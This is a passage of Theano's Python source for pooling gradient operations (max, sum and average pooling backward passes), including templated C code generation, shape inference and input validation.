dtype_%(x)s collector; int z_prod; // do not run if any z[i] is zero z_prod = 1; for (int i=0; i<%(nd)s; i++) { z_prod *= z[i]; } if (z_prod) { // will be used to hold start and end index of a region int r_st[%(nd)s]; int r_end[%(nd)s]; // index for iterating over the pooling regions int r_idx[%(nd)s]; // placeholder for PyArray indexing (output) npy_intp o_idx[%(total_ndim)s]; // placeholder for PyArray indexing (input) npy_intp i_idx[%(total_ndim)s]; // loop over non-pooling dimensions int non_pooling_prod = 1; for (int i=0; i<%(non_pool_ndim)s; i++) { non_pooling_prod *= PyArray_DIMS(%(x)s)[i]; } %(omp_parallel)s // first loop over non-pooling dimensions for (int t=0; t<non_pooling_prod; t++) { // compute the non-pooling index in each dimension if (%(non_pool_ndim)s!=0) { o_idx[0] = t; i_idx[0] = t; for (int i=1; i<%(non_pool_ndim)s; i++) { o_idx[i] = o_idx[i - 1] / PyArray_DIMS(%(x)s)[i - 1]; o_idx[i - 1] = o_idx[i - 1] %% PyArray_DIMS(%(x)s)[i - 1]; i_idx[i] = o_idx[i]; i_idx[i - 1] = o_idx[i - 1]; } } // then loop over each region in each pooling dimension """ for i in xrange(nd): ccode += """ for (r_idx[%(i)s]=0; r_idx[%(i)s] < z[%(i)s]; r_idx[%(i)s]++) { r_st[%(i)s] = r_idx[%(i)s] * st[%(i)s]; r_end[%(i)s] = r_st[%(i)s] + ws[%(i)s]; // skip the padding r_st[%(i)s] = r_st[%(i)s] < pd[%(i)s] ? pd[%(i)s] : r_st[%(i)s]; r_end[%(i)s] = r_end[%(i)s] > (r[%(i)s] - pd[%(i)s]) ? r[%(i)s] - pd[%(i)s] : r_end[%(i)s]; // from padded_img space to img space r_st[%(i)s] -= pd[%(i)s]; r_end[%(i)s] -= pd[%(i)s]; // handle the case where no padding, ignore border is True if (%(params)s->ignore_border) { r_end[%(i)s] = r_end[%(i)s] > r[%(i)s] ? r[%(i)s] : r_end[%(i)s]; } // use the index to find the correct position in the output o_idx[%(non_pool_ndim)s + %(i)s] = r_idx[%(i)s]; """ % dict(i=i, non_pool_ndim=non_pool_ndim, params=sub['params']) ccode += """ // get a pointer to the correct position in the output dtype_%(z)s * z; if (%(total_ndim)s == 4) z = ((dtype_%(z)s*)(PyArray_GETPTR4(%(z)s, o_idx[0], o_idx[1], o_idx[2], o_idx[3]))); else z = ((dtype_%(z)s*)(PyArray_GetPtr(%(z)s, o_idx))); """ if self.mode == 'max': for i in xrange(nd): ccode += """ // set the first index of dimension %(i)s i_idx[%(non_pool_ndim)s + %(i)s] = r_st[%(i)s]; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ // use the first element as the initial value of collector if (%(total_ndim)s == 4) collector = ((dtype_%(x)s*)(PyArray_GETPTR4(%(x)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; else collector = ((dtype_%(x)s*)(PyArray_GetPtr(%(x)s,i_idx)))[0]; """ for i in xrange(nd): ccode += """ // go through the pooled region in the unpadded input for(int m%(i)s=r_st[%(i)s]; m%(i)s<r_end[%(i)s]; m%(i)s++) { i_idx[%(non_pool_ndim)s + %(i)s] = m%(i)s; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ // update maximum dtype_%(x)s a; if (%(total_ndim)s == 4) a = ((dtype_%(x)s*)(PyArray_GETPTR4(%(x)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; else a = ((dtype_%(x)s*)(PyArray_GetPtr(%(x)s,i_idx)))[0]; collector = (a > collector) ? a : collector; """ for i in xrange(nd): ccode += """ } // for loop over region """ ccode += """ z[0] = collector; """ elif self.mode in ('sum', 'average_exc_pad', 'average_inc_pad'): ccode += """ // initialize the sum at zero collector = ((dtype_%(x)s)(0)); """ for i in xrange(nd): ccode += """ // go through the pooled region in the unpadded input for(int m%(i)s=r_st[%(i)s]; m%(i)s<r_end[%(i)s]; m%(i)s++) { i_idx[%(non_pool_ndim)s + %(i)s] = m%(i)s; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ // update sum dtype_%(x)s a; if (%(total_ndim)s == 4) a = ((dtype_%(x)s*)(PyArray_GETPTR4(%(x)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; else a = ((dtype_%(x)s*)(PyArray_GetPtr(%(x)s,i_idx)))[0]; collector += a; """ for i in xrange(nd): ccode += """ } // for loop over region """ if self.mode == "sum": ccode += """ z[0] = collector; """ elif self.mode == 'average_inc_pad' and self.ignore_border: # region size = product over all pooling dimensions region_size = ' * '.join('ws[%d]' % i for i in xrange(nd)) ccode += """ z[0] = collector / (%(region_size)s); """ % dict(region_size=region_size) else: # region size = number elements of in this region region_size = ' * '.join('(r_end[%d]-r_st[%d])' % (i, i) for i in xrange(nd)) ccode += """ z[0] = collector / (%(region_size)s); """ % dict(region_size=region_size) for i in xrange(nd): ccode += """ } // loop over pooling dimension """ ccode += """ } // for loop over non-pooling dimensions } // if z_prod """ return ccode % locals() def c_code_cache_version(self): return (9, self.openmp) class PoolGrad(OpenMPOp): __props__ = ('ignore_border', 'mode', 'ndim') @staticmethod def out_shape(imgshape, ws=None, ignore_border=False, stride=None, pad=None, ndim=2, ds=None, st=None, padding=None): """Return the shape of the output from this op, for input of given shape and flags. Parameters ---------- imgshape : tuple of integers or scalar Theano variables the shape of a tensor of images. The last N elements are interpreted as the downsampling dimensions. ws : tuple of N ints downsample factor over rows and columns this parameter indicates the size of the pooling region ignore_border : bool If ws doesn't divide imgshape, do we include an extra row/col/slice of partial downsampling (False) or ignore it (True). stride : list or tuple of N ints or None Stride size, which is the number of shifts over rows/cols/slices to get the next pool region. If stride is None, it is considered equal to ws (no overlap on pooling regions). pad : tuple of N ints or None For each downsampling dimension, this specifies the number of zeros to add as padding on both sides. For 2D and (pad_h, pad_w), pad_h specifies the size of the top and bottom margins, pad_w specifies the size of the left and right margins. No padding is added if pad is None. ndim : int The number of pooling dimensions N. The default is 2. ds *deprecated*, use parameter ws instead. st *deprecated*, use parameter st instead. padding *deprecated*, use parameter pad instead. Returns ------- list : the shape of the output from this op, for input of given shape. This will have the same length as imgshape, but with last N elements reduced as per the downsampling & ignore_border flags. """ # check for deprecated parameter names if ds is not None: if ws is not None: raise ValueError( "You can't provide a tuple value to both 'ws' and 'ds'." " Please provide a value only to 'ws'." ) else: warnings.warn( "DEPRECATION: the 'ds' parameter in PoolGrad is not going" " to exist anymore as it is going to be replaced by the" " parameter 'ws'.", stacklevel=2 ) ws = ds elif ds is None and ws is None: raise ValueError( "You must provide a tuple value for the window size." ) if st is not None: if stride is not None: raise ValueError( "You can't provide a tuple value to both 'st and 'stride'." " Please provide a value only to 'stride'." ) else: warnings.warn( "DEPRECATION: the 'st' parameter in PoolGrad is not going" " to exist anymore as it is going to be replaced by the" " parameter 'stride'.", stacklevel=2 ) stride = st if padding is not None: if pad is not None: raise ValueError( "You can't provide a tuple value to both 'padding' and pad." " Please provide a value only to pad." ) else: warnings.warn( "DEPRECATION: the 'padding' parameter in PoolGrad is not" " going to exist anymore as it is going to be replaced" " by the parameter 'pad'.", stacklevel=2 ) pad = padding if len(imgshape) < ndim: raise TypeError('imgshape must have at least {} dimensions'.format(ndim)) if stride is None: stride = ws if pad is None: pad = (0,) * ndim patch_shape = tuple(tensor.extract_constant(imgshape[-ndim + i]) + pad[i] * 2 for i in xrange(ndim)) def compute_out(v, downsample, stride): if ignore_border: out = (v - downsample) // stride + 1 if isinstance(out, theano.Variable): return tensor.maximum(out, 0) else: return np.maximum(out, 0) else: if isinstance(v, theano.Variable): return tensor.switch(tensor.ge(stride, downsample), (v - 1) // stride + 1, tensor.maximum(0, (v - 1 - downsample) // stride + 1) + 1) elif stride >= downsample: return (v - 1) // stride + 1 else: return max(0, (v - 1 - downsample) // stride + 1) + 1 out_shape = [compute_out(patch_shape[i], ws[i], stride[i]) for i in xrange(ndim)] rval = list(imgshape[:-ndim]) + out_shape return rval def __init__(self, ignore_border, mode='max', ndim=2, openmp=None): self.ndim = ndim self.ignore_border = ignore_border if mode == 'max_deterministic': # It seems max pool grad algo is already deterministic in CPU. mode = 'max' if mode not in ['max', 'sum', 'average_inc_pad', 'average_exc_pad']: raise ValueError( "Pool mode parameter only support 'max', 'sum'," " 'average_inc_pad' and 'average_exc_pad'. Got %s" % mode) self.mode = mode super(PoolGrad, self).__init__(openmp=openmp) def prepare_node(self, node, storage_map, compute_map, impl): if len(node.inputs) < 5: # 5 for AveragePoolGrad, 6 for MaxPoolGrad # Old interface self.ndim = len(node.op.ds) self.mode = node.op.mode ws = theano.tensor.constant(node.op.ds) st = theano.tensor.constant(node.op.st) pad = theano.tensor.constant(node.op.padding) node.inputs.append(ws) node.inputs.append(st) node.inputs.append(pad) if isinstance(ws, theano.Constant): storage_map[ws] = [ws.data] compute_map[ws] = [True] else: storage_map[ws] = [None] compute_map[ws] = [False] if isinstance(st, theano.Constant): storage_map[st] = [st.data] compute_map[st] = [True] else: storage_map[st] = [None] compute_map[st] = [False] if isinstance(pad, theano.Constant): storage_map[pad] = [pad.data] compute_map[pad] = [True] else: storage_map[pad] = [None] compute_map[pad] = [False] def infer_shape(self, node, in_shapes): return [in_shapes[0]] class MaxPoolGrad(PoolGrad): # params_type ignore_border don't change c code def __init__(self, ignore_border, ndim=2, openmp=None): PoolGrad.__init__(self, ignore_border, mode='max', ndim=ndim, openmp=openmp) def make_node(self, x, maxout, gz, ws, stride=None, pad=None): # make_node should only be called by the grad function of # Pool, so these asserts should not fail. x = tensor.as_tensor_variable(x) maxout = tensor.as_tensor_variable(maxout) gz = tensor.as_tensor_variable(gz) nd = self.ndim if stride is None: stride = ws if pad is None: pad = (0,) * nd ws = tensor.as_tensor_variable(ws) stride = tensor.as_tensor_variable(stride) pad = tensor.as_tensor_variable(pad) assert isinstance(x, Variable) and x.ndim >= nd assert isinstance(maxout, Variable) and maxout.ndim >= nd assert isinstance(gz, Variable) and gz.ndim >= nd assert isinstance(ws, Variable) and ws.ndim == 1 assert isinstance(stride, Variable) and stride.ndim == 1 assert isinstance(pad, Variable) and pad.ndim == 1 assert x.ndim == maxout.ndim == gz.ndim >= nd if ws.dtype not in tensor.int_dtypes: raise TypeError('Pool downsample parameters must be ints.') if stride.dtype not in tensor.int_dtypes: raise TypeError('Stride parameters must be ints.') if pad.dtype not in tensor.int_dtypes: raise TypeError('Padding parameters must be ints.') return Apply(self, [x, maxout, gz, ws, stride, pad], [x.type()]) def perform(self, node, inp, out): assert self.mode == 'max' x, maxout, gz, ws, stride, pad = inp gx_stg, = out nd = self.ndim assert ws.shape == stride.shape == pad.shape == (nd,) if len(x.shape) < nd: raise NotImplementedError( 'MaxPoolGrad requires input with {} or more dimensions'.format(nd)) pool_out_shp = maxout.shape[-nd:] img_shp = tuple(x.shape[-nd + i] + 2 * pad[i] for i in xrange(nd)) # pad the image if max(pad) != 0: y = np.zeros(x.shape[:-nd] + img_shp, dtype=x.dtype) y[(slice(None),) * (len(x.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] = x else: y = x gx = np.zeros_like(y) # precompute the region boundaries for each dimension region_ranges = [[] for i in xrange(nd)] for i in xrange(nd): for j in xrange(pool_out_shp[i]): start = builtins.max(j * stride[i], pad[i]) end = builtins.min(start + ws[i], img_shp[i]) region_ranges[i].append(xrange(start, end)) # iterate over non-pooling dimensions for k in np.ndindex(*x.shape[:-nd]): gxk = gx[k] gzk = gz[k] yk = y[k] maxoutk = maxout[k] # iterate over pooling regions for r in np.ndindex(*pool_out_shp): maxout_value = maxoutk[r] # iterate inside region for c in itertools.product(*[region_ranges[i][r[i]] for i in xrange(nd)]): if maxout_value == yk[c]: gxk[c] += gzk[r] # unpad the image gx = gx[(slice(None),) * (len(x.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] gx_stg[0] = gx def grad(self, inp, grads): x, maxout, gz, ws, stride, pad = inp ggx, = grads return ([theano.tensor.zeros_like(x), theano.tensor.zeros_like(maxout), DownsampleFactorMaxGradGrad(ndim=self.ndim, ignore_border=self.ignore_border)( x, maxout, ggx, ws, stride, pad)] + [DisconnectedType()() for i in inp[3:]]) def connection_pattern(self, node): return [[1], [1], [1], [0], [0], [0]] def c_code(self, node, name, inp, out, sub): assert self.mode == 'max' x, z, gz, ws, stride, pad = inp gx, = out nd = self.ndim total_ndim = node.inputs[0].ndim non_pool_ndim = total_ndim - nd fail = sub['fail'] if self.openmp: # run in parallel over each pooling block omp_parallel = '#pragma omp parallel for private(r_st, r_end, r_idx, i_idx, o_idx, maximum) schedule(static)' else: omp_parallel = '' ccode = """ // sanity checks int x_typenum = PyArray_ObjectType((PyObject*)%(x)s, 0); int z_typenum = PyArray_ObjectType((PyObject*)%(z)s, 0); int gz_typenum = PyArray_ObjectType((PyObject*)%(gz)s, 0); if ((x_typenum != z_typenum) || (x_typenum != gz_typenum)) { PyErr_SetString(PyExc_ValueError, "input types must all match"); %(fail)s; } if(PyArray_NDIM(%(x)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "x must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_NDIM(%(z)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "z must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_NDIM(%(gz)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "gz must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_DIM(%(ws)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "ws must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(stride)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "stride must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(pad)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "pad must be a vector of size %(nd)s"); %(fail)s; } int z[%(nd)s]; // shape of the output int r[%(nd)s]; // shape of the padded_input int ws[%(nd)s]; int st[%(nd)s]; int pd[%(nd)s]; int nonzero_padding; nonzero_padding = 0; for (int i=0; i<%(nd)s; i++) { ws[i] = *((npy_intp*)PyArray_GETPTR1(%(ws)s, i)); st[i] = *((npy_intp*)PyArray_GETPTR1(%(stride)s, i)); pd[i] = *((npy_intp*)PyArray_GETPTR1(%(pad)s, i)); z[i] = PyArray_DIMS(%(z)s)[%(non_pool_ndim)s + i]; r[i] = PyArray_DIMS(%(x)s)[%(non_pool_ndim)s + i] + 2 * pd[i]; if (pd[i]>0) nonzero_padding = 1; } // allocating memory for output, if necessary int mem_nec; mem_nec = 0; if ((!%(gx)s) || !PyArray_ISCONTIGUOUS(%(gx)s) || *PyArray_DIMS(%(gx)s)!=%(total_ndim)s) { mem_nec = 1; } if (!mem_nec) { for (int i=0; i<%(total_ndim)s; i++) { if (PyArray_DIMS(%(gx)s)[i] != PyArray_DIMS(%(x)s)[i]) { mem_nec = 1; break; } } } if (mem_nec) { Py_XDECREF(%(gx)s); %(gx)s = (PyArrayObject*) PyArray_ZEROS(%(total_ndim)s, PyArray_DIMS(%(x)s), x_typenum,0); } else { PyArray_FILLWBYTE(%(gx)s, 0); } dtype_%(z)s maximum; // temp var for maximum value in a region int z_prod; // do not run if any z[i] is zero z_prod = 1; for (int i=0; i<%(nd)s; i++) { z_prod *= z[i]; } if (z_prod) { // will be used to hold start and end index of a region int r_st[%(nd)s]; int r_end[%(nd)s]; // index for iterating over the pooling regions int r_idx[%(nd)s]; // placeholder for PyArray indexing (output) npy_intp o_idx[%(total_ndim)s]; // placeholder for PyArray indexing (input) npy_intp i_idx[%(total_ndim)s]; // loop over non-pooling dimensions int non_pooling_prod = 1; for (int i=0; i<%(non_pool_ndim)s; i++) { non_pooling_prod *= PyArray_DIMS(%(x)s)[i]; } %(omp_parallel)s // first loop over non-pooling dimensions for (int t=0; t<non_pooling_prod; t++) { // compute the non-pooling index in each dimension if (%(non_pool_ndim)s!=0) { o_idx[0] = t; i_idx[0] = t; for (int i=1; i<%(non_pool_ndim)s; i++) { o_idx[i] = o_idx[i - 1] / PyArray_DIMS(%(x)s)[i - 1]; o_idx[i - 1] =o_idx[i - 1] %% PyArray_DIMS(%(x)s)[i - 1]; i_idx[i] = o_idx[i]; i_idx[i - 1] = o_idx[i - 1]; } } // then loop over each region in each pooling dimension """ for i in xrange(nd): ccode += """ for (r_idx[%(i)s]=0; r_idx[%(i)s] < z[%(i)s]; r_idx[%(i)s]++) { r_st[%(i)s] = r_idx[%(i)s] * st[%(i)s]; r_end[%(i)s] = r_st[%(i)s] + ws[%(i)s]; // skip the padding r_st[%(i)s] = r_st[%(i)s] < pd[%(i)s] ? pd[%(i)s] : r_st[%(i)s]; r_end[%(i)s] = r_end[%(i)s] > (r[%(i)s] - pd[%(i)s]) ? r[%(i)s] - pd[%(i)s] : r_end[%(i)s]; // from padded_img space to img space r_st[%(i)s] -= pd[%(i)s]; r_end[%(i)s] -= pd[%(i)s]; // use the index to find the correct position in the output o_idx[%(non_pool_ndim)s + %(i)s] = r_idx[%(i)s]; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ dtype_%(gz)s * gz; if (%(total_ndim)s == 4) { // the maximum value maximum = ((dtype_%(z)s*)(PyArray_GETPTR4(%(z)s,o_idx[0],o_idx[1],o_idx[2],o_idx[3])))[0]; // the gradient corresponding to this maximum value in z gz = ((dtype_%(gz)s*)(PyArray_GETPTR4(%(gz)s, o_idx[0],o_idx[1],o_idx[2],o_idx[3]))); } else { // the maximum value maximum = ((dtype_%(z)s*)(PyArray_GetPtr(%(z)s,o_idx)))[0]; // the gradient corresponding to this maximum value in z gz = ((dtype_%(gz)s*)(PyArray_GetPtr(%(gz)s, o_idx))); } """ for i in xrange(nd): ccode += """ // go through the pooled region in the unpadded input for(int m%(i)s=r_st[%(i)s]; m%(i)s<r_end[%(i)s]; m%(i)s++) { i_idx[%(non_pool_ndim)s + %(i)s] = m%(i)s; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ dtype_%(x)s a; dtype_%(gx)s * gx; if (%(total_ndim)s == 4) { a = ((dtype_%(x)s*)(PyArray_GETPTR4(%(x)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; gx = ((dtype_%(gx)s*)(PyArray_GETPTR4(%(gx)s, i_idx[0],i_idx[1],i_idx[2],i_idx[3]))); } else { a = ((dtype_%(x)s*)(PyArray_GetPtr(%(x)s,i_idx)))[0]; gx = ((dtype_%(gx)s*)(PyArray_GetPtr(%(gx)s, i_idx))); } if (a == maximum){ gx[0] = gx[0] + gz[0]; } """ for i in xrange(nd): ccode += """ } // for loop over region """ for i in xrange(nd): ccode += """ } // loop over pooling dimension """ ccode += """ } // for loop over non-pooling dimensions } // if z_prod """ return ccode % locals() def c_code_cache_version(self): return (0, 10, self.openmp) class AveragePoolGrad(PoolGrad): # ignore_border is used for perform, but not c code. No need in params_type def __init__(self, ignore_border, mode='average_inc_pad', ndim=2): assert mode in ['sum', 'average_inc_pad', 'average_exc_pad'] PoolGrad.__init__(self, ignore_border, mode, ndim) # There is an extra dummy parameter to match the parameter count # of MaxPoolGrad. They have to keep the same interface because of # the DownsampleFactorMaxGrad trick to keep old scripts working # (see downsample.py for details on this). def make_node(self, x, gz, ws, stride=None, pad=None, dummy=None): # make_node should only be called by the grad function of # Pool, so these asserts should not fail. x = tensor.as_tensor_variable(x) gz = tensor.as_tensor_variable(gz) nd = self.ndim if stride is None: stride = ws if pad is None: pad = (0,) * nd ws = tensor.as_tensor_variable(ws) stride = tensor.as_tensor_variable(stride) pad = tensor.as_tensor_variable(pad) assert isinstance(x, Variable) and x.ndim >= nd assert isinstance(gz, Variable) and gz.ndim >= nd assert isinstance(ws, Variable) and ws.ndim == 1 assert isinstance(stride, Variable) and stride.ndim == 1 assert x.ndim == gz.ndim >= nd assert isinstance(pad, Variable) and pad.ndim == 1 if ws.dtype not in tensor.int_dtypes: raise TypeError('Pool downsample parameters must be ints.') if stride.dtype not in tensor.int_dtypes: raise TypeError('Stride parameters must be ints.') if pad.dtype not in tensor.int_dtypes: raise TypeError('Padding parameters must be ints.') return Apply(self, [x, gz, ws, stride, pad], [x.type()]) def perform(self, node, inp, out): x, gz, ws, stride, pad = inp gx_stg, = out nd = self.ndim assert ws.shape == stride.shape == pad.shape == (nd,) if len(x.shape) < nd: raise NotImplementedError( 'AveragePoolGrad requires input with {} or more dimensions'.format(nd)) if self.mode == 'average_exc_pad' and max(pad) != 0: raise NotImplementedError() z_shape = self.out_shape(x.shape, ws, self.ignore_border, stride, pad, nd) if (gx_stg[0] is None) or (gx_stg[0].shape != z_shape): gx_stg[0] = np.empty(z_shape, dtype=x.dtype) zz = gx_stg[0] # size of pooling output pool_out_shp = zz.shape[-nd:] img_shp = tuple(x.shape[-nd + i] + 2 * pad[i] for i in xrange(nd)) inc_pad = self.mode == 'average_inc_pad' sum_mode = self.mode == 'sum' # initialize the padded output gx = np.zeros((x.shape[:-nd] + img_shp), dtype=x.dtype) # precompute the region boundaries and sizes for each dimension region_slices = [[] for i in xrange(nd)] region_sizes = [[] for i in xrange(nd)] for i in xrange(nd): for j in xrange(pool_out_shp[i]): if sum_mode or inc_pad: start = j * stride[i] else: start = builtins.max(j * stride[i], pad[i]) end = builtins.min(start + ws[i], img_shp[i]) region_slices[i].append(slice(start, end)) region_sizes[i].append(end - start) # iterate over non-pooling dimensions region_slice = [None] * nd for k in np.ndindex(*x.shape[:-nd]): gzk = gz[k] gxk = gx[k] # iterate over pooling regions for r in np.ndindex(*pool_out_shp): region_size = 1 for i in xrange(nd): region_slice[i] = region_slices[i][r[i]] region_size *= region_sizes[i][r[i]] if sum_mode: val = gzk[r] else: # divide by region size val = gzk[r] / region_size gxk[region_slice] += val # unpad the image gx = gx[(slice(None),) * (len(x.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] gx_stg[0] = gx def grad(self, inp, grads): x, gz, ws, stride, pad = inp ggx, = grads return ([theano.tensor.zeros_like(x), Pool(ignore_border=self.ignore_border, ndim=self.ndim, mode=self.mode)(ggx, ws, stride, pad)] + [DisconnectedType()() for i in inp[2:]]) def connection_pattern(self, node): return [[1], [1], [0], [0], [0]] def c_code(self, node, name, inp, out, sub): x, gz, ws, stride, pad = inp gx, = out nd = self.ndim total_ndim = node.inputs[0].ndim non_pool_ndim = total_ndim - nd fail = sub['fail'] inc_pad = int(self.mode == 'average_inc_pad') sum_mode = int(self.mode == 'sum') if self.openmp: # run in parallel over each pooling block omp_parallel = '#pragma omp parallel for private(r_st, r_end, r_pad_width, r_idx, i_idx, o_idx) schedule(static)' else: omp_parallel = '' ccode = """ // sanity checks int x_typenum = PyArray_ObjectType((PyObject*)%(x)s, 0); int gz_typenum = PyArray_ObjectType((PyObject*)%(gz)s, 0); if (x_typenum != gz_typenum) { PyErr_SetString(PyExc_ValueError, "input types must all match"); %(fail)s; } if(PyArray_NDIM(%(x)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "x must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_NDIM(%(gz)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "gz must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_DIM(%(ws)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "ws must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(stride)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "stride must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(pad)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "pad must be a vector of size %(nd)s"); %(fail)s; } int z[%(nd)s]; // shape of the output int r[%(nd)s]; // shape of the padded_input int ws[%(nd)s]; int st[%(nd)s]; int pd[%(nd)s]; int nonzero_padding; nonzero_padding = 0; for (int i=0; i<%(nd)s; i++) { ws[i] = *((npy_intp*)PyArray_GETPTR1(%(ws)s, i)); st[i] = *((npy_intp*)PyArray_GETPTR1(%(stride)s, i)); pd[i] = *((npy_intp*)PyArray_GETPTR1(%(pad)s, i)); z[i] = PyArray_DIMS(%(gz)s)[%(non_pool_ndim)s + i]; r[i] = PyArray_DIMS(%(x)s)[%(non_pool_ndim)s + i] + 2 * pd[i]; if (pd[i]>0) nonzero_padding = 1; } if (!%(inc_pad)s && !%(sum_mode)s && nonzero_padding) { PyErr_SetString(PyExc_ValueError, "padding must be zero for average_exc_pad"); %(fail)s; } // allocating memory for output, if necessary int mem_nec; mem_nec = 0; if ((!%(gx)s) || !PyArray_ISCONTIGUOUS(%(gx)s) || *PyArray_DIMS(%(gx)s)!=%(total_ndim)s) { mem_nec = 1; } if (!mem_nec) { for (int i=0; i<%(total_ndim)s; i++) { if (PyArray_DIMS(%(gx)s)[i] != PyArray_DIMS(%(x)s)[i]) { mem_nec = 1; break; } } } if (mem_nec) { Py_XDECREF(%(gx)s); %(gx)s = (PyArrayObject*) PyArray_ZEROS(%(total_ndim)s, PyArray_DIMS(%(x)s), x_typenum,0); } else { PyArray_FILLWBYTE(%(gx)s, 0); } int z_prod; // do not run if any z[i] is zero z_prod = 1; for (int i=0; i<%(nd)s; i++) { z_prod *= z[i]; } if (z_prod) { // will be used to hold start and end index of a region int r_st[%(nd)s]; int r_end[%(nd)s]; // padded region size int r_pad_width[%(nd)s]; // index for iterating over the pooling regions int r_idx[%(nd)s]; // placeholder for PyArray indexing (output) npy_intp o_idx[%(total_ndim)s]; // placeholder for PyArray indexing (input) npy_intp i_idx[%(total_ndim)s]; // loop over non-pooling dimensions int non_pooling_prod = 1; for (int i=0; i<%(non_pool_ndim)s; i++) { non_pooling_prod *= PyArray_DIMS(%(x)s)[i]; } %(omp_parallel)s // first loop over non-pooling dimensions for (int t=0; t<non_pooling_prod; t++) { // compute the non-pooling index in each dimension if (%(non_pool_ndim)s!=0) { o_idx[0] = t; i_idx[0] = t; for (int i=1; i<%(non_pool_ndim)s; i++) { o_idx[i] = o_idx[i - 1] / PyArray_DIMS(%(x)s)[i - 1]; o_idx[i - 1] =o_idx[i - 1] %% PyArray_DIMS(%(x)s)[i - 1]; i_idx[i] = o_idx[i]; i_idx[i - 1] = o_idx[i - 1]; } } // then loop over each region in each pooling dimension """ for i in xrange(nd): ccode += """ for (r_idx[%(i)s]=0; r_idx[%(i)s] < z[%(i)s]; r_idx[%(i)s]++) { r_st[%(i)s] = r_idx[%(i)s] * st[%(i)s]; if (!%(sum_mode)s && !%(inc_pad)s && r_st[%(i)s] < pd[%(i)s]) { r_st[%(i)s] = pd[%(i)s]; } r_end[%(i)s] = r_st[%(i)s] + ws[%(i)s]; r_end[%(i)s] = r_end[%(i)s] > r[%(i)s] ? r[%(i)s] : r_end[%(i)s]; r_pad_width[%(i)s] = r_end[%(i)s] - r_st[%(i)s]; // from padded_img space to img space r_st[%(i)s] = r_st[%(i)s] - pd[%(i)s] > 0 ? r_st[%(i)s] - pd[%(i)s] : 0; r_end[%(i)s] = r_end[%(i)s] > r[%(i)s] - pd[%(i)s] ? r[%(i)s] - 2 * pd[%(i)s] : r_end[%(i)s] - pd[%(i)s]; // use the index to find the correct position in the output o_idx[%(non_pool_ndim)s + %(i)s] = r_idx[%(i)s]; """ % dict(i=i, sum_mode=sum_mode, inc_pad=inc_pad, non_pool_ndim=non_pool_ndim) ccode += """ dtype_%(gz)s * gz; dtype_%(gz)s val; if (%(total_ndim)s == 4) { // the gradient for this region gz = ((dtype_%(gz)s*)(PyArray_GETPTR4(%(gz)s, o_idx[0],o_idx[1],o_idx[2],o_idx[3]))); } else { // the gradient for this region gz = ((dtype_%(gz)s*)(PyArray_GetPtr(%(gz)s, o_idx))); } // compute the contribution if (%(sum_mode)s) { val = gz[0]; } else { val = gz[0] / (%(region_size)s); } """ region_size = ' * '.join('r_pad_width[%d]' % i for i in xrange(nd)) for i in xrange(nd): ccode += """ // go through the pooled region in the unpadded input for(int m%(i)s=r_st[%(i)s]; m%(i)s<r_end[%(i)s]; m%(i)s++) { i_idx[%(non_pool_ndim)s + %(i)s] = m%(i)s; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ dtype_%(gx)s * gx; if (%(total_ndim)s == 4) { gx = ((dtype_%(gx)s*)(PyArray_GETPTR4(%(gx)s, i_idx[0],i_idx[1],i_idx[2],i_idx[3]))); } else { gx = ((dtype_%(gx)s*)(PyArray_GetPtr(%(gx)s, i_idx))); } gx[0] = gx[0] + val; """ for i in xrange(nd): ccode += """ } // for loop over region """ for i in xrange(nd): ccode += """ } // loop over pooling dimension """ ccode += """ } // for loop over non-pooling dimensions } // if z_prod """ return ccode % locals() def c_code_cache_version(self): return (0, 3, self.openmp) class DownsampleFactorMaxGradGrad(OpenMPOp): __props__ = ('ignore_border', 'mode', 'ndim') def __init__(self, ignore_border, mode='max', ndim=2, openmp=None): self.ndim = ndim self.ignore_border = ignore_border self.mode = mode super(DownsampleFactorMaxGradGrad, self).__init__(openmp=openmp) assert self.mode == 'max' def make_node(self, x, maxout, gz, ws, stride=None, pad=None): # make_node should only be called by the grad function of # MaxPoolGrad, so these asserts should not fail. x = tensor.as_tensor_variable(x) maxout = tensor.as_tensor_variable(maxout) gz = tensor.as_tensor_variable(gz) nd = self.ndim if stride is None: stride = ws if pad is None: pad = (0,) * nd elif isinstance(pad, (tuple, list)): if max(pad) != 0 and not self.ignore_border: raise NotImplementedError( 'padding works only with ignore_border=True') if isinstance(ws, (tuple, list)): if any(pad[i] >= ws[i] for i in range(nd)): raise NotImplementedError( 'padding must be smaller than strides') ws = tensor.as_tensor_variable(ws) stride = tensor.as_tensor_variable(stride) pad = tensor.as_tensor_variable(pad) assert ws.ndim == 1 